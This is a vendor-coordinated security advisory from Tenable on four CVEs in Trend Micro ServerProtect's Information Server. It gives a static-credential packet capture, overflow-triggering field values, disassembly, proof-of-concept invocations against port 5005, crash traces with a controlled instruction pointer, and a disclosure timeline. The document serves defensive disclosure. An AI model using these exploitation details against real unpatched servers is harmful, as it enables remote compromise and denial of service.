# Multiple Vulnerabilities in Trend Micro ServerProtect

Critical

← View More Research Advisories

## Synopsis

While researching CVE-2021-36745 for Nessus plugin coverage, Tenable found multiple vulnerabilities in Trend Micro ServerProtect for Microsoft Windows/Novell NetWare 5.8 build 1575.

**1) Information Server Static Credential - CVE-2022-25329**
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The Information Server (EarthAgent.exe) uses a static credential to perform authentication when the console type in the command 2 (CMD_REGISTER) message is 1. An unauthenticated remote attacker can exploit this to register/login to the server and perform actions allowed by a registered/authenticated client console. The following Wireshark stream capture shows a successful client console registration:

```
00000000  21 43 65 87 02 00 00 00  00 00 00 00 00 00 00 00   !Ce..... ........
00000010  7c 01 00 00 e8 03 00 00  00 00 00 00 73 65 72 76   |....... ....serv
00000020  65 72 70 72 6f 74 65 63  74 5f 69 6e 66 6f 5f 73   erprotec t_info_s
00000030  65 72 76 65 72 2e 70 79  00 00 00 00 00 00 00 00   erver.py ........
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000060  e8 03 00 00 01 00 00 00  21 00 43 00 52 00 59 00   ........ !.C.R.Y.
00000070  50 00 54 00 21 00 31 00  30 00 38 00 37 00 43 00   P.T.!.1. 0.8.7.C.
00000080  38 00 41 00 38 00 35 00  34 00 42 00 42 00 45 00   8.A.8.5. 4.B.B.E.
00000090  38 00 38 00 44 00 33 00  45 00 35 00 35 00 34 00   8.8.D.3. E.5.5.4.
000000A0  37 00 33 00 36 00 46 00  33 00 39 00 00 00 00 00   7.3.6.F. 3.9.....
000000B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000170  00 00 0c 00 00 00 00 00  00 00 00 00               ........ ....
    00000000  21 43 65 87 02 00 00 00  00 00 00 00 00 00 00 00   !Ce..... ........
    00000010  84 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000020  c8 25 75 00 00 00 00 00  a0 ae 0c 01 00 00 00 00   .%u..... ........
    00000030  00 00 00 00 fc bc 0c 01  60 01 00 00 03 00 00 00   ........ `.......
    00000040  63 ab 5c 60 82 10 00 00  fc bc 0c 01 6e ab 5c 60   c.\`.... ....n.\`
    00000050  40 fe 6b 00 00 00 00 00  04 84 00 00 cc 04 00 00   @.k..... ........
```

tenable

**2) Information Server Command 73730 Integer Overflow - CVE-2022-25330**
(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

---

Command 73730 sent to TCP port 5005 of the Information Server is used to get a list of Normal Servers on a remote Windows host by querying the remote registry keys under HKLM\SOFTWARE\WOW6432Node\Trend\ServerProtect\CurrentVersion\InformationServer\<domain>\<normal_server_name>. The command specifies the hostname/IP of the remote host, the credentials used to the remote host, and the maximum number of Normal Servers to retrieve. The command has the following format:

```
// le32 = 32-bit integer in little endian format
struct header
{
   le32 magic; // must be 0x87654321
   le32 cmd;   // command
   le32 error; // error code seen used in response
   le32 unk;   // num of items
   le32 len;   // total message length including this header
   le32 cport; // console port, used with client IP to identify
               // the client console
   byte unk[4];
};
struct cmd_73730
{
   header hdr;          // hdr.cmd must be 73730
   byte rhost[56];      // remote Windows host
   byte username[128];  // credentials to access the
   byte password[128];  // registry on the remote host
   le32 max_cnt;        // max number of Normal Servers to get
};
```

An integer overflow exists when EarthAgent.exe uses the attacker-supplied max_cnt to allocate heap memory to store the data retrieved from the registry on a host specified in the command:

```
EarthAgent.exe 5.80.0.1575<...snip...>
.text:004321D3      lea     edx, [esp+2ACh+arg_hdr.max_cnt]
.text:004321DA      push    ebx
.text:004321DB      push    edx
.text:004321DC      push    73730
.text:004321E1      mov     ecx, esi
.text:004321E3      call    obj30_RetrieveDataFromBuffer ; return true/false
.text:004321E8      test    eax, eax
.text:004321EA      jz      loc_4324D0
.text:004321F0      mov     eax, [esp+2A4h+arg_hdr.max_cnt] ; attacker-controlled
.text:004321F7      lea     ecx, ds:0[eax*8]
.text:004321FE      sub     ecx, eax
.text:00432200      shl     ecx, 3 ; max_cnt * 56 -> int32 overflow!
.text:00432203      push    ecx
.text:00432204      call    operator new(uint)
<...snip...>
```

A large max_cnt (i.e., 0x04924925) can produce a heap buffer of small size (i.e., (0x04924925 * 56) & 0xffffffff = 0x18).

When leveraging vulnerability 1), an unauthenticated remote attacker can specify his/her own Windows host, the credentials to access it, and a large max_cnt in command 73730 and send it to the ServerProtect Information Server host on TCP port 5005. This can cause a heap-based buffer overflow in EarthAgent.exe as a large number of attacker-controlled Normal Server names

```
python3 serverprotect_info_server_cmd_73730_int32_overflow.py -t <target> -p 5005 -A <attacker-win-host> -U administrator -P <admin
Registered a client console OK
Sending a specially crafted command 73730 message
Traceback (most recent call last):
  File "/work/0day/serverprotect_info_server_cmd_73730_int32_overflow.py", line 119, in <module>
    r = read_msg(s)
  File "/work/0day/serverprotect_info_server_cmd_73730_int32_overflow.py", line 40, in read_msg
    msg = recv_msg(sock)
  File "/work/0day/serverprotect_info_server_cmd_73730_int32_overflow.py", line 22, in recv_msg
    data = recvall(sock, 0x1C)
  File "/work/0day/serverprotect_info_server_cmd_73730_int32_overflow.py", line 12, in recvall
    packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer
```

The follow shows a heap corruption as a result of the heap buffer overflow:

```
(1e60.ee8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=010b35e0 ecx=00004141 edx=41414141 esi=00000005 edi=010b0000
eip=772ceb37 esp=0356f7fc ebp=0356f9bc iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
ntdll!RtlpAllocateHeap+0x397:
772ceb37 8b12            mov     edx,dword ptr [edx]  ds:002b:41414141=????????
0:017> k
 # ChildEBP RetAddr
00 0356f9bc 772ce5f0 ntdll!RtlpAllocateHeap+0x397
01 0356fa60 772cd35e ntdll!RtlpAllocateHeapInternal+0x1280
02 0356fa7c 771f87c0 ntdll!RtlAllocateHeap+0x3e
03 0356fa9c 009b38d6 msvcrt!malloc+0x90
WARNING: Stack unwind information not available. Following frames may be wrong.
04 0356fab4 00a068d1 MFC42u!Ordinal823+0x17
05 00000000 00000000 MFC42u!Ordinal6135+0x42
```

---

### 3) Information Server Command 36885 Integer Overflow - CVE-2022-25330

(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

---

An integer overflow condition exists in EarthAgent.exe when processing a command 36885 message. When leveraging vulnerability 1), an unauthenticated remote attacker can crash the process or may achieve remote code execution by sending a specially crafted command 36885 message to TCP port 5005.

The following shows the vulnerability:

```
EarthAgent.exe 5.80.0.1575<...snip...>
.text:0042CAA2      add     eax, 760h   ; attacker-controlled eax,
.text:0042CAA2                          ; int32 overflow if eax=0xFFFFF8A0
.text:0042CAA7      cmp     eax, 989680h
.text:0042CAAC      mov     dword ptr [esp+11B8h+allocSize], eax
.text:0042CAB0      ja      loc_42CBFA
.text:0042CAB6      push    eax
.text:0042CAB7      call    operator new(uint)
.text:0042CABC      mov     ebx, eax    ; int32 overflow -> small heap buffer
.text:0042CABC                          ; allocated
```

```
.text:0042CACF      mov     edx, ecx
.text:0042CAD1      mov     edi, ebx
.text:0042CAD3      shr     ecx, 2
.text:0042CAD6      rep stosd
.text:0042CAD8      mov     ecx, edx
.text:0042CADA copy 0x768 bytes to a small
.text:0042CADA heap buffer -> heap corruption
.text:0042CADA RCE possible?
.text:0042CADA      push    768h
.text:0042CADF      and     ecx, 3
.text:0042CAE2      rep stosb
.text:0042CAE4      lea     eax, [esp+11BCh+Src] ; 0xC4 bytes of source is
.text:0042CAE4                          ; attacker-controlled
.text:0042CAEB      push    eax
.text:0042CAEC      push    ebx
.text:0042CAED      call    ds:memmove
<...snip...>
```

POC:

```
python3 serverprotect_info_server_dos.py -t <target> -p 5005 -c 36885
Connection 1
Registered a client console OK
Sending a specially crafted command 36885 message
Connection 2
Registered a client console OK
Sending a specially crafted command 36885 message
Connection 3
Traceback (most recent call last):
  File "/work/0day/serverprotect_info_server_dos.py", line 144, in <module>
    r = read_msg(s)
  File "/work/0day/serverprotect_info_server_dos.py", line 40, in read_msg
    msg = recv_msg(sock)
  File "/work/0day/serverprotect_info_server_dos.py", line 22, in recv_msg
    data = recvall(sock, 0x1C)
  File "/work/0day/serverprotect_info_server_dos.py", line 12, in recvall
    packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer
```

The follow shows a heap corruption as a result of the heap buffer overflow:

```
0:015> g
(6bc.1f60): C++ EH exception - code e06d7363 (first chance)
(6bc.1f60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=011645f0 ebx=00000000 ecx=41414141 edx=00000000 esi=41414141 edi=02a1f848
eip=41414141 esp=02a1f61c ebp=02a1f648 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???
0:005> k
 # ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 02a1f618 771eb826 0x41414141
01 02a1f648 771eb7e5 msvcrt!terminate+0x26
02 02a1f678 771eaf94 msvcrt!_inconsistency+0x2c
03 02a1f6d4 771eb5b8 msvcrt!FindHandler+0x3db
04 02a1f708 771ec1b6 msvcrt!__InternalCxxFrameHandler+0xf7
05 02a1f744 77316482 msvcrt!__CxxFrameHandler+0x26
06 02a1f768 77316454 ntdll!ExecuteHandler2+0x26
```

```
0c 02a1fdb0 00a38858 MFC42u!Ordinal1198+0x5
0d 02a1fdc8 004164e3 MFC42u!Ordinal1167+0x24
0e 02a1fe98 74a21e76 EarthAgent+0x164e3
0f 02a1fec0 ffffffff KERNELBASE!CloseHandle+0x26
10 02a1ff30 77217e71 0xffffffff
11 02a1ff68 77217f31 msvcrt!_callthreadstartex+0x25
12 02a1ff70 75190419 msvcrt!_threadstartex+0x61
13 02a1ff80 772f72fd KERNEL32!BaseThreadInitThunk+0x19
14 02a1ffdc 772f72cd ntdll!__RtlUserThreadStart+0x2f
15 02a1ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
```

---

**4) Information Server Command DoS - CVE-2022-25331**
(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

---

An uncaught exception can be generated by the C++ new operator in EarthAgent.exe when the allocation size is large. When leveraging vulnerability 1), an unauthenticated remote attacker can crash the process by sending a specially crafted command message to TCP port 5005.

The following commands are affected: 4098, 8221, 8222, 8226, 12308, 12309, 36867, 36869, 36898, 41010, 41014, and 65549.

The following shows the vulnerability affecting command 4098:

```
EarthAgent.exe 5.80.0.1575<...snip...>
.text:00423579      lea     ecx, ds:0[eax*8]
.text:00423580      mov     [esp+64Ch+arg_hdr.max_cnt], eax
.text:00423587      sub     ecx, eax
.text:00423589      shl     ecx, 3      ; 56x
.text:0042358C      push    ecx         ; attacker-controlled allocation size,
.text:0042358C                          ; unhandled exception DoS
.text:0042358D      call    operator new(uint)
<...snip...>
```

POC:

```
python3 serverprotect_info_server_dos.py -t <target> -p 5005 -c 4098
Connection 1
Registered a client console OK
Sending a specially crafted command 4098 message
Connection 2
Registered a client console OK
Sending a specially crafted command 4098 message
Connection 3
Registered a client console OK
Sending a specially crafted command 4098 message
Connection 4
Traceback (most recent call last):
  File "/work/0day/serverprotect_info_server_dos.py", line 144, in <module>
    r = read_msg(s)
  File "/work/0day/serverprotect_info_server_dos.py", line 40, in read_msg
    msg = recv_msg(sock)
  File "/work/0day/serverprotect_info_server_dos.py", line 22, in recv_msg
    data = recvall(sock, 0x1C)
  File "/work/0day/serverprotect_info_server_dos.py", line 12, in recvall
    packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer
```

Apply the recommended patch for the relevant ServerProtect platform per the vendor advisory.

## Proof of Concept

https://github.com/tenable/poc/blob/master/TrendMicro/ServerProtect/serverprotect_info_server_cmd_73730_int32_overflow.py
https://github.com/tenable/poc/blob/master/TrendMicro/ServerProtect/serverprotect_info_server_dos.py

## Disclosure Timeline

October 20, 2021 - Vulnerabilities discovered
November 30, 2021 - Tenable reported vulnerabilities to vendor
December 1, 2021 - Vendor requested POC scripts referenced in vulnerability report and specified password to use for encryption
December 3, 2021 - Tenable sent POC scripts to vendor compressed and encrypted with specified password
December 23, 2021 - Tenable asked vendor to confirm receipt of POC scripts and requested status of vulnerability validation
December 23, 2021 - Vendor confirmed receipt of POCs
December 23, 2021 - Vendor confirmed vulnerabilities were verified, ETA for fix release is January 2022
February 14, 2022 - Tenable asked vendor for updated release date
February 15, 2022 - Vendor informed Tenable that the fix would be released that week and requested extension to disclosure date
February 18, 2022 - Vendor informed Tenable that the fix had been released and they were coordinating their security bulletin internally
February 22, 2022 - Tenable declined extension to disclosure date and requested CVE information
February 22, 2022 - Vendor published advisory



## Risk Information

**CVE ID:** CVE-2022-25329
CVE-2022-25330
CVE-2022-25331
**Tenable Advisory ID:** TRA-2022-05
**CVSSv3 Base / Temporal Score:** 9.8 / 9.4
**CVSSv3 Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
**Affected Products:** Trend Micro ServerProtect for Microsoft Windows / Novell NetWare (SPNT) 5.8 < Build 1587
Trend Micro ServerProtect for Storage (SPFS) 6.0 < Patch 2 Build 1304
Trend Micro ServerProtect for EMC Celerra (SPEMC) 5.8 < Build 1589
Trend Micro ServerProtect for Network Appliance Filers (SPNAF) 5.8 < Build 1307
**Risk Factor:** Critical

tenable

## FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

## FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

## CUSTOMER RESOURCES

Resource Library

tenable